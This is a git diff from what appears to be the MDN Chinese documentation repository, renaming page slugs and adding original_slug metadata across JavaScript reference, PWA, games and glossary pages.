    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html index f00b37a223..b9ec4f2381 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/symbol/index.html @@ -1,8 +1,9 @@ --- title: Symbol.prototype -slug: Web/JavaScript/Reference/Global_Objects/Symbol/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Symbol translation_of: Web/JavaScript/Reference/Global_Objects/Symbol translation_of_original: Web/JavaScript/Reference/Global_Objects/Symbol/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Symbol/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html index 6f109510ef..9b7eb11a66 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html @@ -1,6 +1,6 @@ --- title: SyntaxError.prototype -slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/SyntaxError tags: - Error - JavaScript @@ -9,6 +9,7 @@ tags: - SyntaxError translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError translation_of_original: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html index ae9f64bf5e..61824a9cfe 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typedarray/index.html @@ -1,8 +1,9 @@ --- title: TypedArray.prototype -slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/TypedArray translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray translation_of_original: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html index 42abf0c422..d6daea2244 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/typeerror/index.html @@ -1,6 +1,6 @@ --- title: TypeError.prototype -slug: Web/JavaScript/Reference/Global_Objects/TypeError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/TypeError tags: - Error - JavaScript @@ -9,6 +9,7 @@ tags: - 错误 translation_of: Web/JavaScript/Reference/Global_Objects/TypeError translation_of_original: Web/JavaScript/Reference/Global_Objects/TypeError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/TypeError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html index c5d381250a..a3d35fa68c 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/urierror/index.html @@ -1,8 +1,9 @@ --- title: URIError.prototype -slug: Web/JavaScript/Reference/Global_Objects/URIError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/URIError translation_of: Web/JavaScript/Reference/Global_Objects/URIError translation_of_original: Web/JavaScript/Reference/Global_Objects/URIError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/URIError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html index 27f1ff412a..4e5be33f06 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakmap/index.html @@ -1,8 +1,9 @@ --- title: WeakMap.prototype -slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/WeakMap translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/WeakMap/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html index 572ab1ac73..d06fca34dc 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/weakset/index.html @@ -1,8 +1,9 @@ --- title: WeakSet.prototype -slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet translation_of_original: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype ---
    {{JSRef("Global_Objects", "WeakSet")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html b/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html index 0d52110bfa..e3cd47f9ab 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/lexical_grammar/index.html @@ -1,8 +1,9 @@ --- title: Reserved Words -slug: Web/JavaScript/Reference/Reserved_words +slug: conflicting/Web/JavaScript/Reference/Lexical_grammar translation_of: Web/JavaScript/Reference/Lexical_grammar#Keywords translation_of_original: Web/JavaScript/Reference/Reserved_Words +original_slug: Web/JavaScript/Reference/Reserved_words ---

     

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators/index.html index 917ac03b06..a89cf74368 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators/index.html @@ -1,11 +1,12 @@ --- title: 算术运算符 -slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators +slug: conflicting/Web/JavaScript/Reference/Operators tags: - JavaScript - Operator translation_of: Web/JavaScript/Reference/Operators translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators +original_slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html index 5ddf85f426..ae8635cf42 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_310dc67549939233c3d18a8fa2cdbb23/index.html @@ -1,11 +1,13 @@ --- title: 比较操作符 -slug: Web/JavaScript/Reference/Operators/Comparison_Operators +slug: >- + conflicting/Web/JavaScript/Reference/Operators_310dc67549939233c3d18a8fa2cdbb23 tags: - 严格比较操作符 - 比较操作符 translation_of: Web/JavaScript/Reference/Operators translation_of_original: Web/JavaScript/Reference/Operators/Comparison_Operators +original_slug: Web/JavaScript/Reference/Operators/Comparison_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html index 4bdd7a1bc7..63e6b408a0 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_7c8eb9475d97a4a734c5991857698560/index.html @@ -1,10 +1,12 @@ --- title: 按位操作符 -slug: Web/JavaScript/Reference/Operators/Bitwise_Operators +slug: >- + conflicting/Web/JavaScript/Reference/Operators_7c8eb9475d97a4a734c5991857698560 tags: - js ^ & Bitwise Operators translation_of: Web/JavaScript/Reference/Operators translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators +original_slug: Web/JavaScript/Reference/Operators/Bitwise_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html index 66ae471cde..0312efc731 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_8d54701de06af40a7c984517cbe87b3e/index.html @@ -1,11 +1,13 @@ --- title: 赋值运算符 -slug: Web/JavaScript/Reference/Operators/Assignment_Operators +slug: >- + conflicting/Web/JavaScript/Reference/Operators_8d54701de06af40a7c984517cbe87b3e tags: - JavaScript - 运算符 translation_of: Web/JavaScript/Reference/Operators#Assignment_operators translation_of_original: Web/JavaScript/Reference/Operators/Assignment_Operators +original_slug: Web/JavaScript/Reference/Operators/Assignment_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html b/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html index 5615e17d45..82b19641ea 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/operators_f71733c8e7001a29c3ec40d8522a4aca/index.html @@ -1,12 +1,14 @@ --- title: 逻辑运算符 -slug: Web/JavaScript/Reference/Operators/Logical_Operators +slug: >- + conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca tags: - JavaScript - 操作符 - 逻辑 translation_of: Web/JavaScript/Reference/Operators translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators +original_slug: Web/JavaScript/Reference/Operators/Logical_Operators ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html b/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html index 12e076166c..21d8c25aa3 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/statements/switch/index.html @@ -1,11 +1,12 @@ --- title: default -slug: Web/JavaScript/Reference/Statements/default +slug: conflicting/Web/JavaScript/Reference/Statements/switch tags: - JavaScript - Keyword translation_of: Web/JavaScript/Reference/Statements/switch translation_of_original: Web/JavaScript/Reference/Statements/default +original_slug: Web/JavaScript/Reference/Statements/default ---
    {{jsSidebar("Statements")}}
    diff --git a/files/zh-cn/conflicting/web/media/formats/index.html b/files/zh-cn/conflicting/web/media/formats/index.html index d6a5d3753e..db84bd92bd 100644 --- a/files/zh-cn/conflicting/web/media/formats/index.html +++ b/files/zh-cn/conflicting/web/media/formats/index.html @@ -1,10 +1,11 @@ --- -title: 'HTML的媒体支持:audio和video元素' -slug: Web/HTML/Supported_media_formats +title: HTML的媒体支持:audio和video元素 +slug: conflicting/Web/Media/Formats tags: - HTML Media Video Audio translation_of: Web/Media/Formats translation_of_original: Web/HTML/Supported_media_formats +original_slug: Web/HTML/Supported_media_formats ---

        {{HTMLElement("audio")}} 和 {{HTMLElement("video")}}是浏览器内置的播放音频或视频的元素;视频和音频编解码器用来处理视频和音频,不同的编解码器提供不同级别的压缩率和分辨率;一个容器封装格式(多媒体容器格式)用来存储和传输编码后的视频和音频(如果视频带有音轨则同时;编解码器和多媒体容器格式有非常多的组合;尽管只有很少部分和WEB相关;
       
    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/index.html index ca256085b4..aa326758ce 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps/index.html @@ -1,8 +1,9 @@ --- title: 响应式设计 -slug: Web_Development/Mobile/Responsive_design +slug: conflicting/Web/Progressive_web_apps translation_of: Web/Progressive_web_apps translation_of_original: Web/Guide/Responsive_design +original_slug: Web_Development/Mobile/Responsive_design ---

    在解决对桌面和移动环境开发网站这个问题上,与分离网站的方法相反,一种相对较新(其实相当古老)的方法渐渐流行起来:摒弃用户代理检测,而是在客户端根据浏览器的能力进行页面变化。这种方法最早是由Ethan Marcotte在他为A List Apart所写的文章中提出的,也就是我们所熟知的响应式设计。和分离网站设计方式一样,响应式设计也有自己的优势和弊端。

    优势

    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html index 809b1edb38..a84a3e5421 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps/introduction/index.html @@ -1,8 +1,9 @@ --- title: 渐进式webApp优势 -slug: Web/Progressive_web_apps/优势 +slug: conflicting/Web/Progressive_web_apps/Introduction translation_of: Web/Progressive_web_apps/Introduction#Advantages_of_web_applications translation_of_original: Web/Progressive_web_apps/Advantages +original_slug: Web/Progressive_web_apps/优势 ---

    以下是渐进式webApp所有的优势清单

    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html b/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html index 3177fc1c29..be5d77a388 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html @@ -1,6 +1,7 @@ --- title: Responsive design -slug: Web/Progressive_web_apps/Responsive +slug: >- + conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks tags: - Media Queries - PWA @@ -9,6 +10,7 @@ tags: - viewport translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks translation_of_original: Web/Progressive_web_apps/Responsive +original_slug: Web/Progressive_web_apps/Responsive ---
    响应式Web应用使用媒体查询和viewport等技术,以确保它们的页面适配任何设备,比如:桌面、移动手机、平板,或者其他新的设备。
    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html b/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html index 4b8b532173..5c0b464a8c 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f/index.html @@ -1,6 +1,6 @@ --- title: 网络独立 -slug: Web/Progressive_web_apps/Network_independent +slug: conflicting/Web/Progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f tags: - Application Shell - IndexedDB @@ -11,6 +11,7 @@ tags: - localStorage translation_of: Web/Progressive_web_apps translation_of_original: Web/Progressive_web_apps/Network_independent +original_slug: Web/Progressive_web_apps/Network_independent ---
    当网络不可靠,甚至不存在时,现代网络应用程序仍可以工作。没有更多的空白连接错误页面或恐龙穿过沙漠。除了离线高速缓存和服务工作者之外,UI和内容之间的一个明确的分隔可让您存储应用程序的数据和核心资产,以备将来使用。
    diff --git a/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html b/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html index 0ff507d2e6..8e7ebe12ef 100644 --- a/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html +++ b/files/zh-cn/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html @@ -1,6 +1,6 @@ --- title: Re-engageable -slug: Web/Progressive_web_apps/Re-engageable +slug: conflicting/Web/Progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67 tags: - Modern web apps - Notifications API @@ -9,6 +9,7 @@ tags: - Service Workers translation_of: Web/Progressive_web_apps translation_of_original: Web/Progressive_web_apps/Re-engageable +original_slug: Web/Progressive_web_apps/Re-engageable ---
    原生平台一个主要优势是,用户可以轻松通过更新或加载新内容,即使用户没有正在查看应用程序或者使用他们的设备。现在的Web应用程序现在也可以使用Web Push API等技术实现这样的功能。
    diff --git a/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html b/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html index 0d92962112..2037b78ce1 100644 --- a/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html +++ b/files/zh-cn/conflicting/web/web_components/using_shadow_dom/index.html @@ -1,6 +1,6 @@ --- title: 影子DOM(Shadow DOM) -slug: Web/Web_Components/影子_DOM +slug: conflicting/Web/Web_Components/Using_shadow_DOM tags: - DocumentFragment - React @@ -9,6 +9,7 @@ tags: - shadow dom translation_of: Web/Web_Components/Using_shadow_DOM translation_of_original: Web/Web_Components/Shadow_DOM +original_slug: Web/Web_Components/影子_DOM ---

    {{ draft }}

    diff --git a/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html index 77433ca2d5..4225c159b8 100644 --- a/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html +++ b/files/zh-cn/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -1,6 +1,6 @@ --- title: Using XPath -slug: Using_XPath +slug: conflicting/Web/XPath/Introduction_to_using_XPath_in_JavaScript tags: - AJAX - Code snippets @@ -11,6 +11,7 @@ tags: - 所有分类 translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript translation_of_original: Using_XPath +original_slug: Using_XPath ---

    XPath is a language for addressing parts of an XML document. It is a W3C recommendation. diff --git a/files/zh-cn/games/introduction/index.html b/files/zh-cn/games/introduction/index.html index 67ffed62c0..681cd69958 100644 --- a/files/zh-cn/games/introduction/index.html +++ b/files/zh-cn/games/introduction/index.html @@ -1,11 +1,12 @@ --- title: Web 游戏开发简介 -slug: Games/简介 +slug: Games/Introduction tags: - 指引 - 游戏 - 移动端 translation_of: Games/Introduction +original_slug: Games/简介 ---

    {{GamesSidebar}}
    diff --git a/files/zh-cn/games/introduction_to_html5_game_development/index.html b/files/zh-cn/games/introduction_to_html5_game_development/index.html index 6d5cd2014a..10ff0e76e8 100644 --- a/files/zh-cn/games/introduction_to_html5_game_development/index.html +++ b/files/zh-cn/games/introduction_to_html5_game_development/index.html @@ -1,10 +1,11 @@ --- title: HTML5游戏开发简介 -slug: Games/Introduction_to_HTML5_Game_Gevelopment_(summary) +slug: Games/Introduction_to_HTML5_Game_Development tags: - Games - HTML5 translation_of: Games/Introduction_to_HTML5_Game_Development_(summary) +original_slug: Games/Introduction_to_HTML5_Game_Gevelopment_(summary) ---
    {{GamesSidebar}}
    {{IncludeSubnav("/zh-CN/docs/Games")}}
    diff --git a/files/zh-cn/games/publishing_games/game_monetization/index.html b/files/zh-cn/games/publishing_games/game_monetization/index.html index 5ab915f6b3..741fcf5e8d 100644 --- a/files/zh-cn/games/publishing_games/game_monetization/index.html +++ b/files/zh-cn/games/publishing_games/game_monetization/index.html @@ -1,12 +1,13 @@ --- title: 游戏货币化 -slug: Games/Publishing_games/游戏货币化 +slug: Games/Publishing_games/Game_monetization tags: - 推广 - 收入 - 游戏 - 销售 translation_of: Games/Publishing_games/Game_monetization +original_slug: Games/Publishing_games/游戏货币化 ---
    {{GamesSidebar}}
    diff --git a/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html b/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html index e9a9abaf15..becd3c6bd3 100644 --- a/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html +++ b/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html @@ -1,7 +1,8 @@ --- title: 移动端触摸控制 -slug: Games/Techniques/Control_mechanisms/移动端触摸控制 +slug: Games/Techniques/Control_mechanisms/Mobile_touch translation_of: Games/Techniques/Control_mechanisms/Mobile_touch +original_slug: Games/Techniques/Control_mechanisms/移动端触摸控制 ---
    {{GamesSidebar}}
    diff --git a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html index baa5a514fc..166eea053e 100644 --- a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html +++ b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html @@ -1,6 +1,6 @@ --- title: 收尾工作 -slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作 +slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up tags: - Canvas - JavaScript @@ -10,6 +10,7 @@ tags: - 游戏 - 生命 translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up +original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/收尾工作 ---
    {{GamesSidebar}}
    diff --git a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html index cb90cb8773..26858b378d 100644 --- a/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html +++ b/files/zh-cn/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html @@ -1,6 +1,6 @@ --- title: 鼠标控制 -slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制 +slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls tags: - Canvas - JavaScript @@ -10,6 +10,7 @@ tags: - 游戏 - 鼠标 translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls +original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/鼠标控制 ---
    {{GamesSidebar}}
    diff --git a/files/zh-cn/glossary/abstraction/index.html b/files/zh-cn/glossary/abstraction/index.html index a7497bdc94..852893d5ab 100644 --- a/files/zh-cn/glossary/abstraction/index.html +++ b/files/zh-cn/glossary/abstraction/index.html @@ -1,6 +1,6 @@ --- title: 抽象编程 -slug: Glossary/抽象编程 +slug: Glossary/Abstraction tags: - 名词解释 - 抽象 @@ -8,6 +8,7 @@ tags: - 编程脚本 - 编程语言 translation_of: Glossary/Abstraction +original_slug: Glossary/抽象编程 ---

    在计算机编程{{Glossary("computer programming")}}领域中,抽象编程指在研发大型复杂软件系统时,通过抽象的方法来降低编程复杂度,实现系统快速高效设计和开发的编程模式。它将系统各功能实现的技术细节隐藏在相对简单的 {{Glossary("API", "APIs")}}之后。

    diff --git a/files/zh-cn/glossary/algorithm/index.html b/files/zh-cn/glossary/algorithm/index.html index 8dcea73131..205c1f0b1d 100644 --- a/files/zh-cn/glossary/algorithm/index.html +++ b/files/zh-cn/glossary/algorithm/index.html @@ -1,10 +1,11 @@ --- title: 算法 -slug: Glossary/算法 +slug: Glossary/Algorithm tags: - 专业术语 - 编程基础 translation_of: Glossary/Algorithm +original_slug: Glossary/算法 ---

    算法是一个良定义的具体计算步骤的一个序列。

    diff --git a/files/zh-cn/glossary/arpa/index.html b/files/zh-cn/glossary/arpa/index.html index 8c30be2d15..034696aa1b 100644 --- a/files/zh-cn/glossary/arpa/index.html +++ b/files/zh-cn/glossary/arpa/index.html @@ -1,10 +1,11 @@ --- title: ARPA -slug: Glossary/地址路由参数域 +slug: Glossary/ARPA tags: - 专业术语 - 互联网服务基础设施 translation_of: Glossary/ARPA +original_slug: Glossary/地址路由参数域 ---

    .arpa (address and routing parameter area, 地址路由参数域 ) 是专门用来互联网基础设施配置的顶级域{{glossary("TLD","top-level domain")}} ,尤其是DNS反向解析,即从 {{glossary("IP 地址")}})找出旗下的主机名(i.e., find the {{glossary('domain name')}} 。

    diff --git a/files/zh-cn/glossary/asynchronous/index.html b/files/zh-cn/glossary/asynchronous/index.html index 0bc0353e3d..f00cce8b20 100644 --- a/files/zh-cn/glossary/asynchronous/index.html +++ b/files/zh-cn/glossary/asynchronous/index.html @@ -1,10 +1,11 @@ --- title: 异步 -slug: Glossary/异步 +slug: Glossary/Asynchronous tags: - 异步 - 术语表 translation_of: Glossary/Asynchronous +original_slug: Glossary/异步 ---

    异步两个或两个以上的对象或事件同时存在或发生(或多个相关事物的发生无需等待其前一事物的完成)。在计算机技术中,"异步"一词被用于两大语境。

    diff --git a/files/zh-cn/glossary/base64/index.html b/files/zh-cn/glossary/base64/index.html index 5da5d1e0f4..167f92aafc 100644 --- a/files/zh-cn/glossary/base64/index.html +++ b/files/zh-cn/glossary/base64/index.html @@ -1,7 +1,8 @@ --- title: Base64的编码与解码 -slug: Web/API/WindowBase64/Base64_encoding_and_decoding +slug: Glossary/Base64 translation_of: Glossary/Base64 +original_slug: Web/API/WindowBase64/Base64_encoding_and_decoding ---

    Base64 是一组相似的二进制到文本(binary-to-text)的编码规则,使得二进制数据在解释成 radix-64 的表现形式后能够用 ASCII 字符串的格式表示出来。Base64 这个词出自一种 MIME 数据传输编码。 

    diff --git a/files/zh-cn/glossary/baseline/index.html b/files/zh-cn/glossary/baseline/index.html index 2158190685..12a262a0fd 100644 --- a/files/zh-cn/glossary/baseline/index.html +++ b/files/zh-cn/glossary/baseline/index.html @@ -1,7 +1,8 @@ --- title: 基线 -slug: Glossary/基线 +slug: Glossary/baseline translation_of: Glossary/baseline +original_slug: Glossary/基线 ---

    基线是指欧洲和西亚文字排版中,用于在上面放置字符的一条假象的基准线。

    diff --git a/files/zh-cn/glossary/browser/index.html b/files/zh-cn/glossary/browser/index.html index a52951c1b7..f3467d5f07 100644 --- a/files/zh-cn/glossary/browser/index.html +++ b/files/zh-cn/glossary/browser/index.html @@ -1,7 +1,8 @@ --- title: 浏览器 -slug: Glossary/浏览器 +slug: Glossary/Browser translation_of: Glossary/Browser +original_slug: Glossary/浏览器 ---

    网页浏览器是一种从 {{Glossary("World Wide Web","Web")}} 获取和显示页面的程序,并且让用户通过 {{Glossary("hyperlink","超链接")}} 访问更多页面。

    diff --git a/files/zh-cn/glossary/card_sorting/index.html b/files/zh-cn/glossary/card_sorting/index.html index 9d5a3c4ff5..392fe3038e 100644 --- a/files/zh-cn/glossary/card_sorting/index.html +++ b/files/zh-cn/glossary/card_sorting/index.html @@ -1,11 +1,12 @@ --- title: 卡片分类法 -slug: Glossary/卡片分类法 +slug: Glossary/Card_sorting tags: - 卡片分类法 - 名称 - 设计 translation_of: Glossary/Card_sorting +original_slug: Glossary/卡片分类法 ---

    卡片分类法是一种简单的技巧 ,{{glossary("Information architecture")}} 通常是邀请参与网站开发的设计师(或是开发其他类型产品的人),让他们写下他们认为这个产品应当包含的内容、服务和功能,然后将这些功能分组。一个很好的例子是考虑网站上每个页面应当显示什么样的内容。这个名字源于这个分类是通过把要分类的项目写在卡片上,再通过排列卡片完成的。

    diff --git a/files/zh-cn/glossary/character_encoding/index.html b/files/zh-cn/glossary/character_encoding/index.html index 40dbc7ca8a..30100d3032 100644 --- a/files/zh-cn/glossary/character_encoding/index.html +++ b/files/zh-cn/glossary/character_encoding/index.html @@ -1,10 +1,11 @@ --- title: Character encoding(字符编码) -slug: Glossary/字符编码 +slug: Glossary/character_encoding tags: - 术语 - 术语表 translation_of: Glossary/character_encoding +original_slug: Glossary/字符编码 ---

    一套编码系统定义字节与文本间的映射。一连串字节文本能让不同文本解释得以进行。我们指明一套特定编码系统时(如 UTF-8),也就指明了字节得以解释的方式。

    diff --git a/files/zh-cn/glossary/compile/index.html b/files/zh-cn/glossary/compile/index.html index 0e11863653..0c25619c9e 100644 --- a/files/zh-cn/glossary/compile/index.html +++ b/files/zh-cn/glossary/compile/index.html @@ -1,7 +1,8 @@ --- title: 编译 -slug: Glossary/编译 +slug: Glossary/Compile translation_of: Glossary/Compile +original_slug: Glossary/编译 ---

    编译是将相同的程序从一种计算机程序语言转换到另一种语言计算机语言的过程。编译器是运行上述任务的软件。有时候,任务也被称为“汇编”或“构建”,这通常表示不仅仅编译完成,例如,用二进制格式进行打包。

    diff --git a/files/zh-cn/glossary/compile_time/index.html b/files/zh-cn/glossary/compile_time/index.html index 8c94f6fa5f..fee2476d44 100644 --- a/files/zh-cn/glossary/compile_time/index.html +++ b/files/zh-cn/glossary/compile_time/index.html @@ -1,7 +1,8 @@ --- title: 编译时间 -slug: Glossary/编译时间 +slug: Glossary/Compile_time translation_of: Glossary/Compile_time +original_slug: Glossary/编译时间 ---

    编译时间是指程序从被加载到程序被解析完成所用的时间。

    diff --git a/files/zh-cn/glossary/cross_axis/index.html b/files/zh-cn/glossary/cross_axis/index.html index 27412c4d85..63d0665cce 100644 --- a/files/zh-cn/glossary/cross_axis/index.html +++ b/files/zh-cn/glossary/cross_axis/index.html @@ -1,7 +1,8 @@ --- title: 交叉轴 -slug: Glossary/交叉轴 +slug: Glossary/Cross_Axis translation_of: Glossary/Cross_Axis +original_slug: Glossary/交叉轴 ---

